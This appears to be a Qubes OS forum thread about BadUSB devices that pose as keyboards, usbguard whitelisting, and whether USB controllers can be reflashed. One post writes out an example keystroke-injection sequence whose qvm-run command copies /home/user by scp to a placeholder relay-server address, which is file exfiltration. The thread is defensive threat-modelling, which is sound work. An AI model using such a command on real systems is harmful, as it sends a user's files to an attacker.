Yes that worked. Thanks.
situation has been handled, but thanks for the initiative.
2 Likes
Yes if your keyboard is compromised, then it can type things. Type sequences like:
{the “open menu” button on the right hand side next to control}
{down arrow 6 times} (which can highlights “open terminal here”)
wait .5 seconds
qvm-run --pass-io work ‘echo anon | scp -r /home/user anon@{ip address of relay server}’
exit
There is probably several errors in there, but the point isn’t that I screwed up the syntax or that i should have used curl instead of scp, the point is that a compromised keyboard is instant access to dom0, and therefore instant access to everything on the system.
But the “it can type” problem isn’t usually that your USB keyboard is compromised, but the fact that you allow USB keyboards, which means that when other USB devices (like a thumbdrive) pretend to to be a USB keyboard in order to get to dom0, your system is configured to accept USB keyboards from the USB qube.
This is just addressing the “it can type” concern and is not including any potential of firmware compromising the USB qube.
So, what is the solution?
On my bare metal Linux systems, in usbguard’s rules I whitelist the devices with their serial numbers. In Qubes OS I have no idea how to do it, so every USB device can pretend to be a keyboard.
Looking beyond the OS itself:
A bad USB (or PS/2) device can also type stuff before the OS completes the boot process. Unless there is a kill switch which disconnects all input devices until OS takes control, what is to stop that? Even if there is such a kill switch, it would have to be ON in order to access BIOS settings anyway. It seems to me the only thing that protects us from actual attacks is the fact that a malicious input device needs to know exactly what to type and when.
You can probably whitelist the devices with usbguard in the net-usb qube.
Is anyone using usbguard?
I use usbguard in dom0.
It works as expected, you use usbguard list-devices to see the block/allow status of all connected devices, and you can use usbguard allow-device to allow a blocked device to connected, and you can add the device id to the rules file to permanently grant the device allow status.
wait, you use it in dom0, not in sys-usb?
Yes, I use a dedicated controller for mouse and keyboard in dom0.
ok, @qubist , unless you specifically set your system up like his, i believe you’ll need to run usbguard in sys-usb, not dom0
Yes, perhaps I can do this and get some limited sense of security.
That doesn’t really solve the big issue though.
@qubist Let’s not treat bad USB and bad PS/2 devices as equal. Today’s computers don’t even have PS/2 port exposed (I think the last one I saw one was 10 years ago). So the chances of us plugging in a bad PS/2 device is exactly zero.
Back to USB. A bad USB, on the other hand, can have serious security implications (as ddevz pointed out), especially if your system has only one USB controller and no PS/2. However, let’s say we do have a built-in PS/2 keyboard, and bad USB pretending to be a keyboard is not a problem. Bad USB can still do a lot of damage. For example, when we plug bad USB in, a device driver inside sys-usb is activated, and if the bad USB can exploit hypothetical vulnerability in the device driver, and break out to sys-usb qube, it can now intercept all traffic going through USB ports, including control of all devices that are plugged in to USB ports now and in the future. Think of pulling photos from your cell phone, attaching viruses to files on thumb drives, steeling audio and video from webcams, and the list can continue. How would they exfiltrate the data? Put it on thumb drives (hidden areas in a hope that the drive will be given to others, or attach to existing files in the hope of them getting published one day), attached communication devices (wifi, bluetooth, GSM), or some other ways.
Now, I hope, that everyone uses disposable sys-usb qube, plugs in one USB device at a time, and reboots the qube between devices. Here is where re-flushing USB controller becomes an attack vector. It specifically makes the threat persistent. Note, that USB controller does not need to be flushable from USB device directly (which I agree is extremely unlikely). If bad USB gets control of sys-usb, it can flush it the usual way via OS, because USB controller is passed to sys-usb. I don’t know how to prevent this attack vector, but some time ago, in this thread, I posted how to disable USB interfaces in sys-usb qube to reduce the attack surface area.
I’m not trying to fear monger. Just promoting safe practices.
1 Like
Yes. Make sure all external usb devices are unplugged during boot (keyboard excepted). For internal USB devices there isn’t much we can do but trust our PC manufacturer.
1 Like
I think you mean re-flashing 
Let’s not treat bad USB and bad PS/2 devices as equal.
In the context I mentioned them, feel free to explain how they differ. I say every input device can input malicious data into a system.
… if the bad USB can exploit hypothetical vulnerability in the device driver, and break out to sys-usb qube, it can now intercept all traffic going through USB ports …
The USB driver always has full access to all data passing through the interface. It doesn’t need to be bad or intercept it. It is just part of its function.
attaching viruses to files on thumb drives,
Similarly, you can suspect the firmware of your HDD/SSD doing the same. Or at least corrupting your data, while you rely on it storing it correctly. How will you “reset” that through a disposable?
steeling audio and video from webcams, … exfiltrate…
Such malware would need to be very sophisticated, almost intelligent (Stuxnet level++ = $$$++) and would need cooperation from other components. It seems quite unlikely that someone would invest in that without a very special reason.
Generally, nothing can save you from bad firmware (except probably FOSS/H devices which are extremely rare and expensive).
Now, I hope, that everyone uses disposable sys-usb qube, plugs in one USB device at a time, and reboots the qube between devices.
How do you plug only mouse, or only keyboard, or only something else? E.g. how do you use a WiFi dongle without mouse and keyboard?
Here is where re-flushing USB controller becomes an attack vector.
If what the experts on Stackexchange say is true, you cannot reflash the firmware of the host controller through the USB interface. You need a different type of interface and separate hardware to reprogram it. So, restarting sys-usb does not give you a fresh clean re-flashed purified USB controller.
I’m not trying to fear monger. Just promoting safe practices.
For something to be practical, first it needs to be possible
1 Like